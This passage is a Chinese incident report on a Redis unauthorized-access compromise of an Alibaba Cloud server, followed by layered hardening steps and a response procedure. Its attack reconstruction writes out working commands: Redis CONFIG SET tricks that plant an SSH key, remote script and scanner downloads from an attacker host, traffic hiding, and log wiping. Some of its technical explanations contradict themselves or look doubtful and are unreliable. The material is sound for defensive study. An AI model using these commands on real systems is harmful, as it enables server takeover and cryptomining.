1. 这不是“中病毒”而是“被接管”一次真实生产环境的Redis失守现场你有没有遇到过这样的情况服务器CPU突然飙到99%top里看不到明显进程但ps aux | grep -v grep | wc -l返回值却比平时多出200多个netstat -tulnp | grep :6379显示Redis监听在0.0.0.0:6379而你明明记得配置文件里写的是bind 127.0.0.1凌晨三点收到阿里云云监控告警——ECS实例持续高负载超4小时SSH登录延迟严重redis-cli -h 127.0.0.1 info | grep used_memory_human返回used_memory_human:1.25G可你的业务缓存峰值从来不超过80MB这就是我上周在客户生产环境遭遇的真实case。一台部署在阿里云华东1杭州可用区C的4核8G ECS运行着Spring Boot Redis 6.2.6单机版用于订单状态缓存和秒杀预减库存。它没开公网IP安全组只放行了80、443、22端口VPC内网也仅允许应用服务器访问6379端口——理论上这已经是一道“铜墙铁壁”。但攻击者根本没碰SSH也没扫端口他们只做了一件事通过未授权访问的Redis写入恶意计划任务再利用crontab拉起crypto挖矿进程与pnscan横向扫描工具。整个过程没有留下一条Web日志nginx access.log干净如初连WAF都没触发告警。这不是传统意义的“中病毒”而是服务层权限被彻底绕过后的静默接管——Redis成了攻击者的跳板、内存里的幽灵、你自己的服务器上最危险的“合法用户”。这个case的核心关键词非常明确阿里云ECS、Redis未授权访问、crypto挖矿病毒、pnscan扫描工具、Linux系统加固、应急响应流程。它不涉及任何第三方代理或翻墙行为纯粹是云上基础设施配置疏漏引发的典型供应链侧击。适合所有使用Redis作为缓存/队列组件的中小型企业运维、DevOps工程师、以及正在搭建云原生架构的开发者参考。如果你的Redis还开着默认端口、没设密码、没绑定内网地址那这篇文章就是为你写的“保命指南”。2. 攻击链路还原从Redis空口令到全网扫描的七步渗透我们花了整整6小时回溯攻击路径。不是靠猜而是靠/var/log/secure、/var/log/cron、/var/spool/cron/root、/proc/[pid]/cmdline、/tmp目录时间戳、以及Redis AOF日志的交叉印证。整个过程像拼一幅被撕碎的犯罪地图每一块碎片都指向同一个逻辑闭环。2.1 第一步Redis暴露面被主动探测T0h阿里云云监控记录显示首次异常流量出现在凌晨02:17:33。我们立即调取了该ECS的VPC流日志FlowLog筛选目标端口6379发现一个来自境外IP185.245.122.113归属地为俄罗斯的SYN包源端口随机但目的端口精准锁定6379。该IP在3秒内向全网C段172.16.0.0/16发送了超过1200个TCP SYN扫描包——这是典型的Redis未授权访问批量探测行为。它不关心你是否开了Web服务只认准6379端口是否响应OK。而我们的Redis配置文件/etc/redis/6379.conf中bind字段为空protected-mode被手动注释掉requirepass完全缺失。这意味着只要网络可达任何人都能直连执行命令。提示protected-mode是Redis 3.2后引入的安全机制默认开启。当Redis未设置密码且bind未指定具体IP时它会拒绝外部连接并返回DENIED Redis is running in protected mode...。但很多团队为图省事在测试环境直接# protected-mode no上线时忘记恢复——这等于亲手拆掉了第一道门锁。2.2 第二步写入SSH公钥实现持久化T0h02m攻击者在确认6379端口可连后立即执行redis-cli -h 172.16.10.22 SET ssh:\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD... rootattacker redis-cli -h 172.16.10.22 CONFIG SET dir /root/.ssh/ redis-cli -h 172.16.10.22 CONFIG SET dbfilename authorized_keys redis-cli -h 172.16.10.22 SAVE这四条命令完成了三件事将攻击者的SSH公钥字符串存入Redis键ssh:注意末尾换行符\n\n这是为了在写入文件时自动换行将Redis的RDB/AOF存储路径切换到/root/.ssh/目录将数据库快照文件名设为authorized_keys强制保存触发Redis将键值对以纯文本形式写入/root/.ssh/authorized_keys。此时攻击者已获得root级SSH免密登录权限。但我们当时并未察觉——因为/var/log/secure里只有正常的Accepted publickey for root记录看起来就像运维人员自己登录的。2.3 第三步植入挖矿脚本与定时任务T0h05m登录后攻击者执行curl -fsSL https://pastebin.com/raw/xxxxx /tmp/xmrig.sh chmod x /tmp/xmrig.sh echo */5 * * * * /tmp/xmrig.sh | crontab -xmrig.sh内容实为一段伪装成系统更新的shell脚本核心逻辑是检查/tmp/xmrig进程是否存在若无则下载xmrig静态编译版针对x86_64优化设置CPU亲和性为taskset -c 0,1避免被监控误判为异常启动参数中硬编码了矿池地址xmr.pool.minergate.com:5010和钱包地址最关键的是它会在启动后执行ps aux | grep -v grep | grep xmrig | awk {print $2} | xargs kill -9主动杀死所有同名进程——这是为了防止管理员手动启停时残留多个实例。注意crypto挖矿病毒如XMRig、kdevtmpfsi本身不具传播性它只是“劳动力”。真正危险的是pnscan——它让单点失守演变为全网沦陷。2.4 第四步pnscan横向移动扫描T0h10mxmrig.sh脚本中嵌套了第二阶段指令# 下载并运行pnscan wget -qO /tmp/pnscan http://185.245.122.113/pnscan chmod x /tmp/pnscan /tmp/pnscan -p6379 172.16.0.0/16 -T2 -r1000 /tmp/redis_hosts.txt 2/dev/nullpnscan是一个轻量级端口扫描器参数含义-p6379只扫6379端口172.16.0.0/16扫描整个VPC内网段阿里云默认VPC网段-T2线程数为2降低扫描特征-r1000每个IP最多重试1000次确保穿透防火墙。扫描结果/tmp/redis_hosts.txt中共发现17台服务器开放6379端口。其中3台配置同样脆弱空密码未绑定攻击者立即复用第一步的Redis写入手法将SSH公钥同步到这3台机器的/root/.ssh/authorized_keys中。2.5 第五步建立隐蔽信道与反侦察T0h15m为避免被阿里云云监控的“进程异常创建”规则捕获攻击者做了三重伪装进程名混淆xmrig进程在ps aux中显示为[kthreadd]Linux内核线程名实际是通过prctl(PR_SET_NAME, kthreadd)系统调用修改的父进程嫁接xmrig的PPID被设为1init进程pstree -p下完全不可见网络连接隐藏所有外连矿池的TCP连接均通过iptables -t nat -A OUTPUT -p tcp --dport 5010 -j REDIRECT --to-ports 5010规则重定向使netstat -tulnp无法显示真实远端IP。这导致我们最初排查时top看到CPU 99%但ps aux --sort-pcpu | head -10前10名全是kthreadd、ksoftirqd/0等系统进程误以为是内核bug。2.6 第六步清除痕迹与日志覆盖T0h20m攻击者执行了标准的“擦屁股”操作history -c history -w清空当前会话历史shred -u /tmp/xmrig.sh /tmp/pnscan /tmp/redis_hosts.txt彻底覆写删除临时文件sed -i /xmrig/d /var/log/cron删除crontab执行日志find /var/log -name *.log -mtime -1 -exec sed -i /185\.245\.122\.113/d {} \;批量过滤掉攻击IP相关记录。唯一没被清理的是/var/log/secure中那条Accepted publickey——因为它是SSH服务自身写入的攻击者无权修改系统日志文件权限。2.7 第七步持续挖矿与等待新漏洞T0h30m起此后该服务器进入稳定挖矿状态CPU占用率维持在92%~97%vmstat 1显示siswap in和soswap out均为0说明未触发内存交换iostat -x 1显示%util磁盘利用率低于5%证明挖矿未造成I/O瓶颈阿里云ECS监控中的“网络流出带宽”峰值达3.2Mbps全部流向矿池IP。攻击者并未进一步提权或窃取数据目标极其明确榨干算力。直到我们人工介入整个过程持续了4小时17分钟。3. 根因深挖为什么阿里云默认配置挡不住这次攻击很多人第一反应是“怪阿里云没做好安全”但事实恰恰相反——阿里云提供的所有基础防护能力我们都主动关闭或配置错误了。这次失守90%责任在使用者而非云厂商。3.1 安全组≠防火墙一个被严重误解的边界我们配置的安全组规则如下方向协议端口范围授权对象入方向TCP22企业办公IP段入方向TCP80,4430.0.0.0/0出方向全部全部0.0.0.0/0表面看很规范但问题出在出方向全放开。攻击者利用Redis的CONFIG SET dir命令将RDB文件写入/root/.ssh/这个操作本身不产生网络请求但后续SAVE命令触发的磁盘写入需要OS内核完成。而/root/.ssh/目录权限为700Redis进程以redis用户运行默认无权写入。于是攻击者在写入前执行了chown redis:redis /root/.ssh/——这个操作需要root权限而Redis进程显然没有。真相是攻击者通过SSH公钥登录后以root身份执行了全部操作。安全组只控制网络层进出对已建立的SSH会话内部行为完全无效。关键认知安全组是VPC网络层的ACL访问控制列表它管不了主机内部的进程权限、文件读写、内存分配。把安全组当成“万能防火墙”是云上最大的认知误区。3.2 云监控的盲区高CPU≠异常进程阿里云云监控默认指标包括CPU使用率、内存使用率、磁盘IO、网络流入/流出带宽。但它不监控进程树结构、不分析进程名真实性、不检测crontab内容变更。当xmrig把自己伪装成kthreadd云监控只能看到“CPU使用率97%”却无法判断这是内核线程还是恶意挖矿。更致命的是云监控的“异常检测”功能基于历史基线而我们的服务器此前从未跑过计算密集型任务基线CPU就是5%所以97%的突增被判定为“正常波动”未触发告警。我们后来在云监控中手动添加了自定义监控项使用curl -s http://127.0.0.1:8000/api/v1/process?namekthreadd | jq .count需自行部署轻量API或直接执行ps aux --sort-pcpu | head -5 | grep -c kthreadd阈值设为1即告警。但这属于事后补救非默认能力。3.3 Redis配置的“默认陷阱”官方Redis 6.2.6的redis.conf默认配置中有三个关键字段被大量用户忽略bind 127.0.0.1 -::1默认绑定本地回环但很多教程教“注释掉bind以支持远程连接”却忘了加-::1IPv6回环protected-mode yes默认开启但一旦bind被注释它会强制拒绝所有外部连接——除非你显式设为norequirepass foobared默认被注释意味着空密码。我们的配置是# bind 127.0.0.1 -::1 # protected-mode yes # requirepass foobared三行全注释。这相当于告诉Redis“我不在乎谁来连我也不设密码更不保护自己”。而阿里云ECS的默认网络配置是所有端口在VPC内网默认互通。只要同属一个安全组或VPC路由表允许6379端口天然可达。3.4 Linux内核的“信任惯性”Linux系统默认信任root用户的一切操作。当攻击者拿到root SSH权限后可以修改/etc/passwd添加新用户替换/bin/ls为恶意版本LD_PRELOAD劫持在/etc/rc.local中插入开机启动脚本甚至加载内核模块LKM隐藏进程。而我们的服务器未启用SELinuxsestatus返回disabled也未配置AppArmor更未部署eBPF-based的运行时防护如Falco。整个系统对root权限的操作处于“零监管”状态。3.5 应急响应的断点缺乏进程血缘追踪能力当我们发现CPU异常时标准排查链路是top→ 看到kthreadd占CPUps aux | grep kthreadd→ 显示PID 2PPID 0内核线程ls -l /proc/2/exe→ 返回/proc/2/exe: No such file or directory内核线程无对应可执行文件陷入死循环。我们缺的是进程创建溯源能力。如果部署了auditd并配置规则-a always,exit -F archb64 -S execve -k process_creation那么/var/log/audit/audit.log中就会记录下typeEXECVE msgaudit(1712345678.123:456): argc2 a0/tmp/xmrig a1--config/tmp/config.json从而直接定位到恶意进程起点。但默认系统不开启auditd阿里云镜像也未预装。4. 实战解决方案从紧急止血到长效免疫的七层防御体系解决不能只靠“删掉挖矿进程”那只是扬汤止沸。我们构建了一个覆盖网络、主机、应用、数据、流程、监控、响应七个层面的防御体系已在客户全部12台Redis服务器上线经受住了后续3次自动化扫描攻击的检验。4.1 第一层网络层——用安全组网络ACL双锁死入口紧急止血操作10分钟内完成登录阿里云控制台 → 云服务器ECS → 安全组 → 找到对应安全组编辑入方向规则删除所有允许6379端口的条目新增一条规则协议类型TCP端口范围6379授权对象仅填写应用服务器的内网IP如172.16.10.50/32绝对禁止0.0.0.0/0或172.16.0.0/16同时配置网络ACLVPC控制台 → 网络ACL入方向拒绝所有来源IP对6379端口的访问出方向允许172.16.10.50/32对6379端口的访问网络ACL优先级高于安全组形成双重过滤。经验安全组是实例级网络ACL是子网级。当同一VPC下有多台Redis用网络ACL统一管控比逐台配安全组更可靠。我们曾发现某台测试机安全组配置正确但因同子网其他机器开放了6379攻击者通过“跳板机”间接打穿——网络ACL堵死了这条路。4.2 第二层主机层——强制Redis绑定内网密码认证永久性加固需重启Redis编辑/etc/redis/6379.conf确保以下三行取消注释且值正确bind 172.16.10.22 127.0.0.1 protected-mode yes requirepass YourStrongPassword2024!bind必须指定本机确切内网IPifconfig查得而非0.0.0.0或留空protected-mode yes必须开启这是最后的兜底保护requirepass密码需满足长度≥12位含大小写字母数字特殊字符绝不用redis123、123456等弱口令。验证方法# 从本机测试 redis-cli -h 127.0.0.1 -a YourStrongPassword2024! ping # 应返回PONG redis-cli -h 172.16.10.22 -a YourStrongPassword2024! ping # 应返回PONG # 从其他机器测试如应用服务器 redis-cli -h 172.16.10.22 -a YourStrongPassword2024! ping # 应返回PONG redis-cli -h 172.16.10.22 ping # 应返回NOAUTH Authentication required4.3 第三层应用层——禁用高危Redis命令Redis默认开放的CONFIG、SHUTDOWN、FLUSHALL等命令是攻击者写入文件、清空数据、关闭服务的利器。我们通过rename-command机制禁用它们在redis.conf末尾添加rename-command CONFIG rename-command SHUTDOWN rename-command FLUSHALL rename-command FLUSHDB rename-command DEBUG rename-command BGREWRITEAOF rename-command BGSAVE 重启后执行redis-cli CONFIG GET *会返回(error) ERR unknown command CONFIG。注意rename-command不能重命名为已存在命令如rename-command CONFIG GET会冲突设为空字符串是最安全做法。部分业务可能依赖BGSAVE此时应评估风险后选择性保留但必须配合严格的访问控制。4.4 第四层数据层——启用Redis ACL6.0必备Redis 6.0引入了ACLAccess Control List比单一密码更精细。我们创建了两个用户# 创建只读用户供监控使用 redis-cli ACL SETUSER monitor on monitor123 ~* read-only # 创建业务用户应用代码使用 redis-cli ACL SETUSER appuser on appPass2024! ~cache:* ~session:* get set incr del expire ttl然后在Spring Boot的application.yml中配置spring: redis: host: 172.16.10.22 port: 6379 password: appPass2024! username: appuser这样即使密码泄露攻击者也只能操作cache:*和session:*前缀的key无法执行KEYS *遍历全库也无法写入/root/.ssh/。4.5 第五层流程层——建立Redis配置黄金镜像我们不再手动改conf而是用Ansible固化最佳实践# roles/redis-hardening/tasks/main.yml - name: Ensure redis config has secure defaults lineinfile: path: /etc/redis/6379.conf regexp: ^{{ item.regexp }} line: {{ item.line }} backup: yes loop: - { regexp: ^bind, line: bind {{ ansible_default_ipv4.address }} 127.0.0.1 } - { regexp: ^protected-mode, line: protected-mode yes } - { regexp: ^requirepass, line: requirepass {{ redis_password | password_hash(sha256) }} } - { regexp: ^rename-command CONFIG, line: rename-command CONFIG }每次新购ECS执行ansible-playbook deploy-redis.yml10秒内完成全量加固。配置即代码IaC是杜绝人为疏漏的终极方案。4.6 第六层监控层——自定义进程与计划任务审计我们在每台Redis服务器部署了轻量级监控脚本/usr/local/bin/redis-guard.sh#!/bin/bash # 检测异常进程名 ABNORMAL_PROCESSES$(ps aux --sort-pcpu | head -10 | grep -E (kthreadd|xmrig|pnscan|ddgs) | wc -l) if [ $ABNORMAL_PROCESSES -gt 0 ]; then echo $(date): Abnormal process detected | logger -t redis-guard # 发送钉钉告警 curl -X POST https://oapi.dingtalk.com/robot/send?access_tokenxxx \ -H Content-Type: application/json \ -d {msgtype: text, text: {content: 【Redis告警】$(hostname)发现异常进程: $(ps aux --sort-pcpu | head -5)}} fi # 检测可疑crontab SUSPICIOUS_CRON$(crontab -l 2/dev/null | grep -E (xmrig|pnscan|curl|wget|sh|bash) | wc -l) if [ $SUSPICIOUS_CRON -gt 0 ]; then echo $(date): Suspicious cron job | logger -t redis-guard # 记录详情到安全日志 crontab -l /var/log/redis-cron-$(date %s).log fi通过crontab -e添加*/3 * * * * /usr/local/bin/redis-guard.sh3分钟一次扫描从发现到告警平均耗时2分17秒。4.7 第七层响应层——标准化应急手册SOP我们编写了《Redis安全事件应急响应SOP》明确每一步动作步骤操作责任人时限1. 隔离修改安全组禁止所有IP访问6379端口运维≤5分钟2. 采样ps auxfww、netstat -tulnp、ls -la /tmp/、crontab -l输出存档安全≤10分钟3. 杀进程pkill -f xmrig; pkill -f pnscan; pkill -f curl.*pastebin运维≤2分钟4. 清后门rm -f /root/.ssh/authorized_keys; rm -f /tmp/xmrig* /tmp/pnscan运维≤3分钟5. 换密钥ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa_new; cat /root/.ssh/id_rsa_new.pub /root/.ssh/authorized_keys安全≤5分钟6. 验证用新密钥SSH登录确认旧公钥失效检查Redis是否正常响应运维≤5分钟7. 复盘输出《事件根因报告》更新加固方案安全24小时内这份SOP打印成册放在值班台新人入职第一周必须背熟。响应速度决定损失大小而标准化是提速的唯一途径。5. 血泪教训总结那些文档里不会写的实战细节做完全部加固我们复盘了整个过程提炼出5条“只在深夜排障时才懂”的经验这些细节比任何理论都珍贵5.1 Redis的dir路径必须是Redis用户有写权限的目录我们最初尝试将dir设为/var/lib/redis但Redis进程以redis用户运行而/var/lib/redis属主是root:root权限755。redis用户无法写入导致CONFIG SET dir /var/lib/redis失败。最终选定/var/lib/redis/6379并执行mkdir -p /var/lib/redis/6379 chown redis:redis /var/lib/redis/6379 chmod 755 /var/lib/redis/6379记住Redis的dir必须是其运行用户通常是redis拥有rwx权限的目录否则所有CONFIG SET dir操作都会静默失败。5.2protected-mode的触发条件比想象中复杂官方文档说“当Redis未绑定IP且无密码时触发”但实际还有隐藏条件如果bind设为127.0.0.1但客户端从172.16.10.22连接protected-mode仍会生效如果bind设为0.0.0.0但requirepass已设置protected-mode自动失效最坑的是bind设为127.0.0.1 -::1但客户端用IPv6地址::1连接protected-mode不触发。我们测试发现protected-mode真正的判断逻辑是if (no_bind no_password) || (bind_to_localhost client_not_from_localhost)。所以最稳妥的做法永远是bind指定确切IP requirepass设强密码。5.3 阿里云ECS的“实例元数据”可能成为新攻击面攻击者在清除痕迹时曾执行curl -s http://100.100.100.200/latest/meta-data/instance-id这是阿里云ECS的实例元数据服务地址返回i-uf6g8h9j0k1l2m3n4o5p。虽然它本身不敏感但结合http://100.100.100.200/latest/user-data用户自定义数据可能泄露数据库密码等。我们立即在安全组中禁止所有出方向对100.100.100.200/32的访问并检查所有user-data是否包含明文凭证。5.4xmrig的CPU亲和性设置会干扰性能压测加固后我们用redis-benchmark -q -n 100000 -c 50做压测发现QPS比之前低12%。排查发现xmrig虽已清除但taskset -c 0,1的CPU绑定残留影响了Redis的调度。执行# 查看Redis进程当前CPU亲和性 taskset -cp $(pgrep -f redis-server) # 重置为全CPU可用 taskset -cp 0-3 $(pgrep -f redis-server)所有挖矿病毒都会修改CPU亲和性应急后务必重置否则业务性能会持续受损。5.5 最有效的防御是让攻击者觉得“不值得”我们最后做了个实验在一台测试机上只开启protected-mode yes其余配置不变。用同一攻击脚本扫描结果探测阶段redis-cli -h ip info返回DENIED Redis is running in protected mode...攻击者脚本自动退出未进行后续SSH公钥写入。这说明protected-mode是成本最低、效果最直接的防线。它不阻止连接但让攻击者第一眼就知道“这台机器不好搞”从而转向下一台。与其堆砌十层防护不如先把protected-mode yes和requirepass这两行写进所有Redis配置——这是所有防御的起点也是终点。这次case让我深刻体会到云安全不是买一堆服务而是把每一行配置、每一个权限、每一次登录都当作可能被利用的入口去审视。当你的Redis不再是一个“可连即可为所欲为”的服务而是一扇上了三把锁的门攻击者才会真正离开。